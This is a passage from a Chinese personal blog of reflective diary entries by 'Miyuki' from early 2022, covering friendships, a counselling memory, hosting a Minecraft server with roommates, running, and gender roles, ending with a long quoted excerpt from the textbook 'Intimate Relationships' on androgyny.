　　曾经漫天盖地的花语，到最后我也没能记住多少。只记得了几个常见，并且觉得最匹配的。例如向日葵、雏菊、铃兰、风信子、蒲公英、狗尾草之类的。满天星这样的花，距离我太过遥远，记起来煞有记文科知识一般的枯燥无趣。

　　这让我想起了那句经典的“你是否看到了一只鸡”。我的视野大概还需要再继续扩大一些吧。

　　雏菊背后所代表的含义，确乎是很适合她。而其别名，也正好和我的希望吻合。

　　我想一般是没有人会特意去探究一件礼物上的装饰的，所以我将我的想法，原封原样地写在了原因上。

　　说实话我不知道她会有什么感受。事到如今，站在对方角度想了想自己的举动，自己都觉得小心思太多，有些好笑。

　　不过得到了明确的回复，也确确实实地感受到了开心。

　　对于送礼物的人，能得到这样的回复，就已经够了。


　　南国微雪 Miyuki

　　2022 年 4 月 3 日

随记 - 2022 年 4 月 1 日

封面图

摄影师 | Taryn Elliott

图源 | Pexels

正文

　　前两天和一个朋友聊天，聊得深入了一些。

　　我们以今天很忙这种散漫的话题开头。

　　“你每天都是这种生活吗？我感觉今天我快要忙疯了。”我说。

　　“还好吧。”她说。

　　她日常说她成天都是课，有时候很累。我在前两天忙疯了之后有感而发，问她天天这样不辛苦吗，我觉得这样好折磨啊。

　　她说：

　　“我比较喜欢，当我接触了我就会想去学好。

　　“比如跳远，就是享受跳跃过程。很速度，跳下来人废。接着就去打武术，马步都扎不稳。可帅了。我又喜欢，哈哈哈。

　　“会辛苦，会上瘾。

　　“其实我都能想到我之后身体器官或者某个部位会比同龄人差很多，但是就是享受。”

　　她是体育生，几乎只有晚上的时候有理论课，能坐下来。

　　我的眼睛看到弹出的这段话，心里有一种不知道怎么说的感觉。五味杂陈只能略微言表。那一瞬间各种情绪和想法上涌心头。

　　怔了许久，才堪堪地回了一句：“喜欢你这样的态度，感觉在发光。”

　　我确乎是这样想的。雪利她也确实是在发着，于我而言，无比耀眼的光芒。


　　上一次听到这种话还是心理咨询师。

　　大一还是大二的雨夜。在空无一人的教学楼三楼空地。没有空调，没有窗户，只有围栏。能听到雨滴频频碎碎地打在雨棚上的声音，那时耳畔此声无限放大，还有各种树叶呼啸摇动的声音。我穿着一件单薄的衣服，寒意肆意侵扰周身。

　　那是我第一次感受到如此程度的孤独和寂寥。

　　那是我目前为止，大学生涯里最为压抑和痛苦的一段时光。我自己觉得没有丝毫异常。但，Tessa 一直觉得不对劲，然后给我强行预约了一个心理咨询师。

　　我反抗了很久。最终败下阵来。

　　我说，我觉得自己没有任何问题，撑过这段时间就好了，不需要你这样做。

　　她说，嗯，嗯，我知道，那么你什么时候有空呢？

　　那也是我第一次知道，有些人的意志能如此坚定，不会因为你的意见有一丝一毫的动摇，说实话，那个时候，我心里对这样的她有些害怕，乃至恐惧。

　　我开始了一个人与咨询师的单独对话。

　　最后我问她：“每次这种时候，都会接收到很多很多负能量的东西，你一定很辛苦吧？”

　　咨询师用一种缓慢又温柔的声音说：

　　“听到这个问题，说实话我有些生气，”略微思考了一下，她继续说，“我热爱我的这份工作。我一直觉得这份职业崇高又辉煌，能够对世界上的一个人起到实实在在的影响。而对于这些东西的承受能力，是我的骄傲，也是我继续行走下去的力量。 可能你永远都不会明白这一点。”

　　“抱歉，我失礼了。”

　　“没事的，谢谢你的关心。”


　　我用一句话不经意地攻击着别人视若珍宝的自尊与骄傲，用着我以为的关心和体贴。

　　那时候脑海里反映出的第一个词，就是 傲慢 。

　　这个环境，这个场景，我的那一句话，至今浓重地烙在我的记忆最深处。它们对我的自我教育起到了莫大的作用。自那以后我心里暗自发誓，绝对，绝对，绝对不要再做一个傲慢的人。

　　那个雨夜，我头一次清晰地意识到“热爱”这个词的深刻与沉重，也是头一次清晰地意识到“温柔”和“沟通”的力量。

　　温柔与平静不是懦弱也不是随波逐流。沟通也没有人们想象中的简单。

　　而，热爱的人们，更是从来都不被平庸如我的人们所理解。


　　朋友补了一句话，打断了我的思绪：

　　“就像你，你跳舞的时候也就像在发光一样。”

　　我笑了笑。

　　“欸……没有吧，我没什么感觉啊……”

　　我想她应该很无语吧（笑。

　　之后的对话，我记不太清楚了。不过这上面的对话，唤醒了我那些沉睡的记忆。场景无比熟悉。


　　我周围有很多人，他们都在各自的领域里发着光。我也见证着这一切。

　　而许多正在发光的人，却丝毫没有这种自觉。

　　我不知道我自己有没有正在发光，不过明确地知道一点，那是我很久之前感触颇深的一段对话：

　　-「为什么我周围的人都在抱怨？」

　　-「因为你憧憬的人一直在追逐着梦中的星星，无暇坐下叹息。」


　　我希望能将自己复燃的傲慢火苗压下去，仍然谦卑。

　　中途本想将《随记》随意作一个好听的名字以文章形式发出去，想想便又作罢了。结构尚未过多关注，修辞更无考量，思想和内容表达又过多理不清楚。文章之名委实过誉，便仍作为《随记》。

　　若这闲碎之笔，能让某人颇有感触，传达到心里，目的便也达成了。


　　南国微雪 Miyuki

　　2022 年 4 月 1 日

随记 - 2022 年 3 月 28 日

封面图

摄影师 | Chickenonline

图源 | Pixabay

正文

　　说一下最近在做的事情。无关学习。

　　我原来一直很焦虑，对自己的能力水平没有多少清楚的认知，时常觉得自己很强，又时常觉得自己很弱。于是便一直持续地学习，看书等等。可是这依然缓解不了我的焦虑。

　　有个室友心态比我好很多。前两天与他聊天，说起一款游戏《Minecraft》（又名《我的世界》，以下简称 MC），这游戏算是挺知名了。

　　他有时候看视频，但没有玩过。我当时很震撼，觉得很不可思议。要知道，MC 如今可是全球销量总排行第二的游戏。

　　我说，要不要来试着玩一下？

　　他说，行啊。

　　然后问题来了。

　　局域网联机现在强行要求正版验证，绕不开。然而这个游戏很贵，正版要接近两百块钱。再经过一个第三方游戏启动器联机失败之后，我们现在就只剩下一条路可以走。

　　开服务器。服务器配置可以关闭正版验证。

　　但是要知道开服务器算是一件很麻烦的事情，对于没有计算机相关专业知识的人来说，弯弯绕绕足以致命。

　　我是计算机专业的，饶是如此也折腾了很久才开开。

　　选定服务器（服务器是要租的，不便宜，所以是找别人借的），登录，配置环境，远程命令行文件传输，更改配置文件，尝试运行程序，启动失败，查看报错信息，寻找解决方案，尝试再次启动，启动失败，查看报错信息，寻找解决方案……

　　折腾了很多次，还向服务器主人寻求援助（他比我厉害得多，经验人士）。

　　最后游戏终于能进入生成的世界的时候，难免不了一声长叹：“终于搞好了”。

　　把服务器地址给他们，然后我们的 MC 之旅就开始了。

　　因为他没玩过，所以对几乎一切都很好奇，兴奋地问我这个是什么，那个是什么，东西又该怎么做，那个怪打人怎么这么疼。说实话有时候被问得有些烦，不过看他那个兴奋劲儿，有些想笑又有些怀念。

　　想当初，我对 MC 一无所知的时候，也是这样的。

　　所以这是好事情。

　　当你承担起一个新人的向导角色，一步一步教他怎么在游戏里开荒，种田，挖矿，打怪，努力地生存下去的时候，你承担了他全部的希望。

　　一个新人被丢在一个陌生的世界里，我想多数情况下是活不下去的。

　　当初也是有人，这样一步一步带着我逐步揭开世界的全貌。

　　我：“那个怪你别去碰，会被炸死的。”

　　他：“我不信，我的求知欲上来了！我一定要去看看。”

　　一分钟后。

　　系统提示：SK 被苦力怕炸死了。

　　然后我亲眼看着他灰头土脸地重生在家里，我当时还在家里烧东西吃。

　　我：“怎么样？”

　　他：……

　　说实话，这一脸愣头青的样子挺好玩的（笑。

　　服务器的人渐渐多了起来。我们交好的几个朋友都加了进来。

　　他们开始一穷二白，眼巴巴地看着你，想要你给他丢装备丢东西，那个场景实在是好笑。

　　不过最终你还是会丢给他们。

　　你会从一开始做东西只做一份，逐渐开始意识到材料需要拿两份，再然后合成的成品需要点三四下才够你的朋友们人手一个。

　　玩了这么多年 MC，我早已经形成了一套自己的玩法，比如熔炉充当地板，不占空间，还能起作用，比如种地的模式。所以当另一个朋友复现他自己的玩法时，我也只会静静地旁观，想着，原来这东西还能这么做。

　　因为我知道，当我一个人修筑我们四个人所要住的房子时，他们也是放手让我去做的，没有抱怨任何事情。只是有时候会来一句：

　　“你这房子修得真丑啊。”

　　“来来来，你来修一个。”

　　“不了不了，这种脏活累活我才不干呢。”

　　然后两个人都开始笑。

　　所以有时候我被问得烦了，或者觉得伙伴有些地方跟我做得不一致的时候，我总会在心里问自己：“我是否真正做到了宽容？”

　　再回到之前的话题。

　　他对游戏里的内容有着求知欲，我其实也这样。

　　开服务器，我没能自己一个人完成，寻求了许多帮助，有些操作是我不知情的情况下搞的。我想，我只被授予了“鱼”而不是“渔”。

　　所以，我自己私下又重新开了一遍。

　　历尽千辛，成功了。

　　和室友玩游戏的这些时间里，我的焦虑得到了极大的缓解。

　　当我对着黑漆漆的控制台，敲下命令，敲下回车，看到程序运行成功的那一刻，我忽然想起了我遗忘了很久的事情：

　　“学习，是为了更好地生活。”


　　南国微雪 Miyuki

　　2022 年 3 月 28 日

随记 - 2022 年 3 月 18 日

封面图

画师 | 佚名

图源 | 未知

写在前面

　　这是日记。虽然不再发布日记，但里面有很多我想聊的话题，便以随记形式对外发布，而非日记这种私人形式。也好不再写些让人厌倦的重复文字。

正文

　　今天的日记可能会聊到很多东西。发生了许多，也因想了许多。

　　今天下午无意中刷到了工作室里一个朋友的女朋友，发了如下说说：“爱你的时候你在猜测试探他怎么才会不爱你，他终于因为你为什么怀疑他的爱而生气时，你又觉得他对你没有了耐心不爱你了，不过还好，他每次都会告诉你，他还爱你。”然后 at 了那个朋友。

　　我不清楚这个女孩子有没有将其当成一种人际夸耀的资本，不过在我看来，别说能炫耀，后面大概自身都难保，是一种十分危险的行为。

　　为了爱情，是否应该舍弃友情？

　　像是两个人之间对抗，我必须胜你一着，为此我必须扩大地盘，一步步进犯你的空间，猜忌你的想法。

　　换言之，两个人之间的内耗。

　　内耗终会蚕食至虚无。

　　我虽很想提醒这两人，但依旧选择了默不作声。

　　懿曾警告我不要对别人的恋情进行劝告，即使出于善心。

　　有道理吗？肯定的，但我只能苦笑。

　　笑人盲目，也笑自己傻，笑自己以为所有人都会倾听别人的建议。

　　原来我也开玩笑说，自己现在挺自由，想做什么都可以，不必像运那样临时要去火车站接他女朋友。

　　然后当时他就睨了我一眼：“说什么呢？你这单身狗，就可劲儿酸吧。”语气还挺认真。

　　我当时感到了巨大的傲慢，像被看成下等人了似的。 我不理解。

　　这个语气和态度很有他平时的作风。原来和工作室几个人聊起他，都认为他嚣张又傲慢。

　　我一时语塞，敷衍过去。

　　这两件印象极深的事让我从此变得冷漠，只在一旁静静旁观。 尤其对于他人的恋爱之事。

　　自讨无趣我想谁都不愿意。

　　不过如珂那样谦卑地前来商讨建议，我仍然乐意。只是，我再不会去主动修补别人的关系了。

　　下午没吃够，多买了一个蓝莓面包。喜欢蓝莓，但这个面包不好吃。

　　预科作业是遂了昨天的愿，开始继续了。总之，先降低期待一直做下去吧。

　　考研自习室要开始打卡了，希望不是早八吧。

　　晚上吃完饭去上面包的基础课（该说是基础课还是大师课呢，笑），上完去操场跑了两公里，差点岔气到要瘫在操场上。


　　提早到了地点。雪利说她也要来。因为看书看入神，忘了时间。我出去时她已经到了，正倚着栏杆玩手机。

　　吓了一下。恶趣味地看她被吓得浑身一抖，还觉得挺可爱。

　　她说才吃过饭不久，还吃得很撑，我就觉得不太妙。然后面包带着几个生面孔进来，这个前几天脖子扭了的社恐患者，直接就一直在一边玩手机了。似乎所有坏情况凑一堆了（笑。

　　当用到脖子的时候，我看向了她，她拼命给我做着噤声的手势，差点没让我笑出声来。

　　课程结束时，她走得很快，一个人，我不大放心，就追了出去。不过此举似乎让很多人误会了。我有些无奈，但这种事越描越黑我也不知道怎么说。

　　追到一半，我突然想起她应该是骑车过来的，便摇头笑自己笨。

　　追上她时她正好出楼，我的猜想是对的。

　　或许是太热了，又没人，便半脱着衣服，露出里面的背心。

　　那个时候的她很有女性魅力。

　　但我没这么说。我不知道有没有人对她说过这种话，但涉及这种话题我总是很谨慎。以自己的情商，想必稍有不慎便会产生重大失误。遂选择沉默。

　　自己夸人一般是想让人开心，不过这种类型的夸奖似乎忧虑的占比会更大一些。

　　她骑车，我也打算骑共享单车的来着，路上也好聊上一些。然而，“快上来，别耽误我时间！”我：……

　　我不知道关心过多会不会给她造成压力，像是在背负着什么 ，若有我希望说出来才好。我想这其中可能更多的是自己的问题。

　　许是因为自己常常难过，想要寻人倾诉，便相较于男性选择了女性，因普遍来讲其表达性更高。造成自己关注女性远多于男性。毕竟自己难过时，寻一个男性好友倾诉，常常会弄得对方也不知道怎么办。要对方陪自己逛操场便更显奇怪了。

　　我时常觉得自己不太适合男性群体，虽说有些冒犯，但我觉得珍更加合适。喜欢穿白色，就是因为想要自己变得纯洁、干净、外向和阳光，不会想得太多。

　　这些特质在她身上似乎都有。所以自己在向她明确表示好意时，说到了这一点。但仍模棱两可，因为自己也不知道。我至今不知道对她的好感出于什么。

　　我也不知道自己能把每一个认识的女孩子处成闺蜜或是兄弟一样的东西，这个被动技能是从哪儿来的，又是从什么时候开始的（笑哭。

　　路上我们曾有过这样一段对话：

　　“我能冒昧问你个问题吗？”

　　“彝族歌。”

　　“你都会读心了吗？……”

　　她放的歌语言听起来很陌生，我想问来着，不过这不是重点。

　　“那不然呢？”

　　“你怎么知道的？”

　　“不就是因为你说的东西我不知道，我说的东西你不知道吗。”

　　说完还笑了两声。

　　我也笑，不过蓦地觉得有些悲凉与沧桑。

　　她很在意这个，我想我只会比她更在意。

　　这大概就是为什么，我和她都默契地停留在了朋友这一步，不约而同，毫不作声。不再向对方的领地踏出一步。

　　我不清楚她的态度，但我有这样一种鲜明的感受。

　　我们穷其一生都在追求美好的，让人惬意的东西。 我认为我和她之间的距离，像今天这样就已经足够美好。

　　为什么他们误会，我很困扰，原因大抵如此。

　　柚子原来说我，像我这样单纯的男生，要是遇上一个强势一点的女孩子，绝对会被吃得精光。被数落了好多次。

　　单纯吗？ 我从不这样觉得。 但从头到尾只一个人向对方表明心迹，透明如孩子一般，似乎确实没多少人干这种事。

　　我对她而言就像白盒，尽所皆知，她对我来讲如同黑盒，一无所知。

　　我不知道未来的你翻到这页日记会不会耻笑，或是自己对这种模式已经感到倦怠。但现在，姑且让我这样做下去吧，在我尚有余力且没有疲惫的时候。

　　最后记一个细节。

　　灵曾让我看一本漫画，名为《回答不了》，基本全忘掉了，但有两个地方记得很清楚。

　　一是女主说，她每次洗澡出来时都注意到拖鞋被摆正了，鞋口朝向她，方便她穿；

　　二是男主说，他有次洗澡，注意到沐浴露瓶里掺了水，是他夫人干的。他说他小时候，母亲在家里比较穷时才这么做，能多用几次。他注意到时就想着：自己，该努力了。

　　晚上她骑车，偏过头问我。

　　“今晚还去跑步吗？”

　　“应该会去。”

　　“行，那我待会儿去偶遇你。”

　　我一边吐嘈说：“这也算偶遇啊……”，一边听她说她待会儿要换成黑衣服去跑，这样那样的琐事。

　　“那我待会儿看到你的时候，岂不是只能看见一个头和一双鞋？”我开玩笑说。

　　她听见也笑了几声，反问我。我也只笑了几下，不回答。

　　最后，当我在操场上“偶遇”她时——

　　**她确乎真真切切地，穿着白色衣服。**6


　　南国微雪 Miyuki

　　2022 年 3 月 19 日

写在后面

　　“‘不论我做什么都要爱我’。有些人生活一团糟，或者有意无意惹上麻烦，就是想看看别人能宽容他们到什么程度，什么时候会排斥他们。接着他们就会说：‘我早说过你会这样对我，证明我是真的很差劲很愚蠢。’ “在我看来这些游戏很危险，因为如果你尊重或你爱的人放弃你，你肯定会觉得痛苦，孤零零一个人。” …… “我们本可以有更多快乐的事情去做，而我偏偏要把时间消耗在那些无意义的‘确认’上。”

　　——公众号：微雪寻觅，TinySnow，《为了爱情，是否应该放弃友情？》

随记 - 2022 年 3 月 13 日

　　首先，要对那个跑在自己身后的女孩子说声抱歉。

　　晚上跑步，室友两人一直聊游戏。没玩过，不参与，一人跑，跑外道。操场风景一如既往，在这里运动，总让人安心些。

　　不知道几圈后，体力不支，匀速跑。这是最省力的办法。身后一直跟着一个女孩子，着一件黑白格长衬，运动长裤附腿，音乐约莫在耳朵里。

　　她的步伐特征很明显，一听便知。跟了两三圈，不知什么时候，自己已经将她定为目标。

　　这变化，是最重要的。

　　大莫是男孩子的那部分隐约闪烁，便有了这样一个念头：想要一直领着她。这是傲慢，然而暗自思忖这想法并无坏处。释然。

　　只是，当她累了，停下脚步开始走时， 心中便有什么线断开了。觉知自己再跑下去没有意义。

　　饶是如此，还是一直敦促着自己向前跑着。

　　某一次落脚刹那，忽而想到了看过的东西。是然，一个宏大如科幻镜头的认知科学世界构筑起来。那些，都是自己看过的书，概览过的东西。

　　忽然意识到，为何阿德勒强调“当下的你，与过去和环境没有任何关系，只是你想让他们产生关联”；

　　意识到，为何许多心理学家视弗洛伊德和精神分析“决定论”为毒品；

　　意识到，为何奖赏有时让人不思进取；

　　意识到，相互依赖理论怎样给人以长足的动力。

　　最终想到唯心论。我至今找不出唯心论哪里有致命的缺陷。

　　乱七八糟地想着，看着这个陌生的女孩子再次超越自己。一瞬间笑了。

　　“那就追上她吧。”我想。

　　当自己超越她时，很注意自己不要乱想，只是静静地跑，看操场上的大灯，看明明灭灭的月亮。

　　然后，一步，一步地，离她远去。

　　停下奔跑的脚步，走了一圈，再没有找见那位黑白格子，只余下了操场上渐行渐稀的人群。

　　这才是正常的自己。我想。

　　里数最后定格在 5.57。

　　已经很努力了。稍微放过自己吧。


　　南国微雪 Miyuki

　　2022 年 3 月 13 日

随记 - 2022 年 2 月 17 日

　　开学报道前一天，核酸检测，顺便见了老朋友。

　　说是老朋友，其实是比我大很多的成年人。初中，我们是第一届住校生，没有食堂，外面下馆子吃。一些杂七杂八的在他那里买。

　　进店。他一看我，愣了一下。

　　“多久去学校啊？”

　　“明天啊，今天做核酸来的。”

　　“来坐着玩儿会儿呗。”

　　“行啊。我就是为了这个来的。”

　　我笑了一声，他也笑了。我们絮絮地聊着。

　　他们家的女儿已经上高一了。刚分科，读理。店长还十分骄傲地跟我说，她女儿现在是年级七八十名，曾经中考全县第一。

　　我没曾想自己随意认识的人中，有这样的顶尖存在，虽说与我无关，但我想大约也有一种命中注定在里面吧。

　　我笑笑说，还早，才高一，不过也只有两年了。店长说，是啊，我只希望她能保持下去，将来高考能考个 985 就可以了。

　　错愕。是我惹不起的人（笑。

　　若只有这种无聊的攀比，大可算作糟粕。后来他们便一直与我这小他们十多岁人的人，感慨世道艰难，时代下行。甚至聊起公考，研考。

　　这点感受，共有。

　　聊天途中，再没看过电视，目光一直在我身上。是时新生一种无谓感慨：倘若我也有这样大把只能看电视来消遣的时光就好了。

　　店面不大，但是换新了，不像以前那样破旧。

　　“我该走了。”

　　“以后再来玩啊。”

　　“好啊。”

　　但我已经大三了，下次见面，会是什么时候了呢？


　　找到客运车，扔背包，占座，站在一旁，插上耳机，听歌，等待。

　　不想那么早进车里，有股气味总是让人难以忍受。

　　有些后遗症是站着，有强烈的鼓点时才能发作的。当兴奋地做完动作，才猛然发现是街上。

　　旁边来了三个女孩子，我没敢看她们，脸上有些发烧，我只听到了一些碎碎的词句：

　　别看了、没见过世面一样、上、你去……

　　意识里男孩子的那部分觉醒了，让脸上有些更烫了，不过还好我知道别人看不出来。

　　正好最后一位乘客到齐，司机向我招手。

　　落荒而逃。

　　上车，借着座位旋转身体，偷瞄一眼那个位置，那三个人笑罢，相互指了指，说了些话，约是调侃吧，旋即手挽手离开了。

　　我还以为自己能有什么长进。

　　看来是没有（笑。


　　南国微雪 Miyuki

　　2022 年 2 月 17 日

随记 - 2022 年 2 月 10 日

正文

　　今天去城里和朋友们玩。

　　他们平时散落在天涯各处，各个大学，于是根本没有时间聚在一起。这不是刚好过年了嘛。然后一天下来，我发现一件事情。那些我以前可能刻意视而不见的细节。

　　从上一面到这一面，他们似乎一夜之间都成了大男孩。

　　那种市井气和应酬气变得很浓厚，像是提前步入了职场一样。我不是说这两种东西不好，而只是说，只有我一个人好像还在无意义地坚持着些什么。

　　像是一个孩子一样，坚持着原来的自己，不被世俗污染。执拗且幼稚。

　　但是身在人间，总得沾一些烟火气息，哪怕它们只是染在衣服上，并不深入。

　　不抽烟，不喝酒，不打牌。

　　我以为做到这些很容易，因为我自己就是这样，然而似乎没有人这样。

　　“你什么时候学会的抽烟？”我惊奇地看着骆。

　　“其实高中就会了，只是没在你们面前抽过。”他淡淡地说。

　　我一瞬间不知道说什么好。差不多的对话还发生在我去看他们打麻将。他们打牌，打一块钱，然后我因为不会，就坐在一边看书。看灵推荐给我的仍未看完的书。

　　我想着，还是参与一下好，然后便倚着其中一个朋友的麻将椅背，看他们出牌，发呆。

　　有个朋友笑着说：“来啊，雪，我现场教学，来交学费。”

　　他的意思是，要我也参与进去，学着打牌。

　　我笑着摆了摆手：“不了不了，我不搞这些，也不怎么想学。”

　　旁边另一个朋友笑着调侃了一句：“那你以后怎么和你老丈人一起打牌呢？”

　　我笑了笑，没说话。


　　我必须要承认，他们抽烟的时候、喝酒碰杯的时候、摸牌大笑的时候，很有那种传统的男孩子气。起码我认为是这样的。

　　但那偏偏是我身为一个男孩子，最为厌恶的部分。

　　我想要的男孩子的那部分，是坚毅、果断、勇敢、冒险劲和永不服输等等。但不是这种让人困扰的部分。

　　或许有人会觉得这没什么不好，但我就是喜欢不起来。

　　不喜欢的事情，就是喜欢不起来。

　　在这些事情上面，我的的确确是更偏向于女性化的。这点自己心知肚明。

　　想起喵喵以前大概说过，他的认知最最底层只有一句话构成：“世界上只有一种真正的英雄主义，那就是在认清生活的真相后依然热爱生活。”（罗曼·罗兰《米开朗琪罗》）

　　他还痛斥过我，说我不愿意接触世界的阴暗面，只愿意接受我能接受的那部分世界。

　　我当时大概气昏了脑袋，也没有看所谓的非暴力沟通方式，直接就骂了回去。但其实我应该好好说明的。

　　我不是不愿意接触，我只是懦弱，只是随波逐流。

　　成长的过程中，经历过无数次的自我怀疑，并且最后被证实了，很多时候的的确确是我错了，便不再多么坚定地相信自己。相信别人，因为大部分情况下他们都是正确的。

　　我害怕在注视着所谓的深渊时，就被拉进去，再也出不来。

　　更准确地说，是我不相信自己能出来，那个所谓的世界的阴暗面。

　　关于这方面我原来胡思乱想过很多，最近的丰县事件让我又沉进思绪的大海。暂不论它是否是谣言，又或者被某个机关辟谣，我们只想象这样一个场景。

　　她终于被拯救，然而她这二十多年来所经历的世界的阴暗和深刻，即使她扑进你的怀里哭得天昏地暗，也不再敢相信世界上有善良和温柔。拥抱，摸头，做好吃的，送礼物等等全部失效。

　　这种情况我很久远以前就想过。

　　当时还十分郑重地写下一句话：当一个人的恐惧，即使你用力抱紧也无法缓解，你，又该怎么做？

　　我原来真正切切地想这个问题，想出过一身冷汗。 当时的共情值大概是最顶峰。

　　所以到今天，不去看世界的阴暗面已经实实在在的演化成了我的一种生存策略。即使可能那些阴暗的东西，接触后没有想象中的那么糟糕。但是一旦随波逐流沉沦进去后，这个代价我是交付不了的。而我又是最容易这么干的。

　　但是当时只是气昏了头啊，只是骂啊（笑。

　　而且在我学了一点点法语过后，去查了一下这句话的原文，其实意思差别还挺大的，这句话的中文应该掺有一些意译在里面。不过当时也并没有学法语（笑。

　　虽说自说自话地写下这些可能并没有人看吧。扯远了。

　　《亲密关系》里面实验证实：双性化的男人遇上传统型的女人，或者双性化的女人遇上传统型的男人，或者两个双性化的男女碰在一起，他们都比两个传统型的男女相处更为融洽。（《亲密关系（第六版）》，第 26 页）

　　更重要的是：坚持传统刻板性别角色的夫妻一般不如非传统的夫妇婚姻幸福(Helms et al., 2006)。

　　以前我总担心自己这些女性化的部分会影响自己的形象，直到看见这些，我才真正放过自己。

　　突然想起那句话：“所谓人的成长，其实是不断发现个人独特经历是人类普遍经验的一部分的过程。”

　　不过事实上，我的确受到了影响。愿意去看这些难啃的人际关系学术著作的人，终究是少数。大部分人还是在用传统的标准衡量着自己和别人。

　　一如以前的自己。

　　所以我大概还会坚持不抽烟，不喝酒，不打牌吧。 取其精华，去其糟粕。

　　若是以后有谁感兴趣我这条准则背后的原因，或许我会把上面写的东西慢慢念给他/她听。


　　南国微雪 Miyuki

　　2022 年 2 月 10 日

补充之一

　　下午上车回家时，有一位女性，闷头往车里钻。

　　然后探头，看到最后一排全是男性，愣了一下，又退了回来。想要跟我调换座位，我有些晕车，坐第二排来着。第二排几乎都是女性。

　　她退回来跟我说：“我们能换一下位置吗？我有些晕车。”

　　我那一瞬间，才真正发觉所谓微博女拳之流给人造成的精神荼毒。我平时都是当段子看的。

　　我那一瞬间有些悲哀。为女性悲哀，也为男性悲哀。为所有人悲哀。

　　希望这是我狂妄且傲慢的擅自臆测吧，如若此，那便再好不过了。

　　我愿意打自己脸看到世界好起来。

补充之二

　　下面书籍相应部分（含有笔记勾画）。

　　有一个专栏，一个表和一个图，下文文字粘贴版没有（因为粘不过来……）

补充之三

　　《亲密关系（第六版）》性认同差异小节及其所提及参考文献（原书第 23 页至 27 页）：

　　我要对人际关系条分缕析，进一步区分亲密关系中的性别差异和性认同（gender）差异。确切地讲，性别差异指的是源自身体的两性生物性差异。相反，性认同差异指的是由文化和教育引起的两性在社会性和心理上的差异，或者叫社会性别（Wood & Eagly，2009）。例如，养育子女后，女性为母亲，男性为父亲，这就是性别（生理）差异；但认为女性比男性更有爱心，更关心孩子的社会共识，则反映的是一种性认同差异。许多男性和女性一样充满柔情、富有爱心地关心下一代，但如果我们希望和鼓励女性成为儿童的主要照料者，那么我们就会在养育风格上人为地制造文化上的性认同差异，这种性认同差异并非与生俱来的自然天性。

　　要分清性生理和性认同的差异殊为不易，因为加诸于男性和女性的社会期望、教育训练和他们的生物学性别差异常常混淆在一起（Wood & Eagly，2010）。例如，因为女性能哺乳而男性不能，所以人们往往以为半夜为新生儿哺乳的一定是妈妈，而且妈妈肯定比爸爸做得好，即便婴儿吃的是奶粉，只需要把奶瓶放到微波炉加加热！要分清生物和文化在塑造我们的兴趣和能力中所起的作用并不容易。尽管如此，区分性生理和性认同两者的差别仍很重要，因为两性间的性认同差异大部分是在成长过程中习得的。

　　性认同最好的例子是性别角色（gender roles），即社会文化所期待的男女两性应有的“正常”行为模式。男人当然应该有“男子气”，他们应该自信、独立、果敢、能干、好强。女人就应该有“女人味”，热情、敏感、多情、友善。大多数人都认为男人和女人是相反的两性，因此全世界都不同程度地期望男性和女性有各自不同的独特社会行为（Kite et al.，2008）。然而遗传在决定人们自信或友善的倾向时只起到四分之一到三分之一的作用，大部分行为是后天习得的（Cleveland et al.，2001；Lippa & Hershberger，1999）。文化的影响持续而广泛，它通过社会化和榜样学习（而非生物学上的性别差异），促使我们期待所有的男性都应该有阳刚之气，所有的女性都应该温柔细腻（Reid et al.，2008）。

　　然而，刻板印象并不像你认为的那般符合现实中的人；只有一半人的特质刚好符合性别角色期望（Bem，1993）。相当多的人（约 35%）并不是完全的“男子气”或“女人味”，他们既自信又热情，既敏感又独立。这些人同时拥有传统上认为应该属于男性和女性的特质，因而被称为双性化（androgynous）。如果双性化这种说法看起来别扭，那可能是由于过于僵化地使用词汇：表面上看，“男子气”和“女人味”不可能同时并存。实际上，由于这些词语容易使人误解，研究者常用其他词汇来代替。把与任务有关的“男子气”的才能称为工具性（instrumental）特质，把与社交和情感有关的“女人味”的技能称为表达性（expressive）特质。这两类特质在同一个人身上出现就一点也不奇怪了。双性化的人可能是这样一个人：在职场激烈的薪酬谈判中能有效而强悍地捍卫自己的利益；但回家后又能细腻而温柔地安慰刚刚失去宠物的孩子。大多数人只擅长一种技能，在一种情境下显得游刃有余，另一种情境下就不会那么轻松。而双性化的人在两种情况下都能驾驭自如（Cheng，2005）。

　　实际上，最好把工具性和表达性视为男性和女性都拥有的两组能高低变化的不同技能（Choi et al.，2007）。看看 26 页的表 1.2，传统的女人表达性高而工具性低，她们热情友好，但不够自信主动。符合传统期望的男人应该具有高工具性、低表达性的特质，他们是坚忍而强悍的铁血真汉子。双性化的人具备工具性和表达性两种特质。剩下的人（约 15%）要么具有在传统上属于异性的技能（称为“跨类型”），要么缺乏这两组技能（称为“未分化”）。在双性化、跨类型和未分化各类型内的男女比例大体相当，所以就性别差异而言，把两性视为具有不同特质的完全不同的两类人，既简单化又不准确（Bem，1993）。

　　不管怎样，人际关系的研究者都特别关注性认同差异。因为正是这些差异“实际上造成了许多不和谐”，最终导致人际关系失败，而不是让两性关系变得更融洽（Ickes，1985，p.188）。从相遇的那一刻起，传统的男性和女性并不如双性化的人那样欣赏和喜欢对方。在一个经典实验中，研究者（Ickes & Barnes，1978）把男女配成对，一种条件下配对的男女都符合传统的性别角色，另一种条件下配对的双方至少有一位是双性化的。介绍两人认识后，他们有 5 分钟的时间在房间单独相处。研究者秘密地录下了这段时间双方的交往过程。结果令人吃惊，传统型的男女双方很少说话，很少注视对方，甚至看不到笑容，事后报告喜欢对方的程度也没有其他配对高。（请想一想：从行为方式来看，男子气十足的男性和女人味浓厚的女性有哪些共同点？）如果双性化的男人遇上传统型的女人，或双性化的女人遇上传统型的男人，或者两个双性化的男女碰到一起，他们都比两个传统型的男女相处更为融洽。

　　更重要的是，传统型夫妇的这些缺憾并不会随着时间的流逝而消失。对婚姻满意度的调查发现，坚持传统刻板性别角色的夫妇一般不如非传统的夫妇婚姻幸福（Helms et al.，2006）。剽悍大丈夫和温柔小女人因为在处事风格和才干能力上差别很大，他们往往并不如那些不太传统、不太符合性别刻板印象的夫妇幸福快乐（Marshall，2010）。

　　对此无需大惊小怪。人们一旦投身于亲密关系之中，都期望得到关爱、温情和理解（Reis et al.，2000）。表达性低的人（不怎么热情、温柔、敏感）不太容易表现出热情和温柔；也不怎么充满深情（Miller et al.，2003）。因此，长期来看，与表达性低的人结婚就不如与那些更敏感、贴心和友善的人结婚过得满意（SteinerPappalardo & Gurung，2002）。因此，屈从于传统的性别角色对男人是一种伤害，剥夺了他们本可成为更好丈夫的技能。

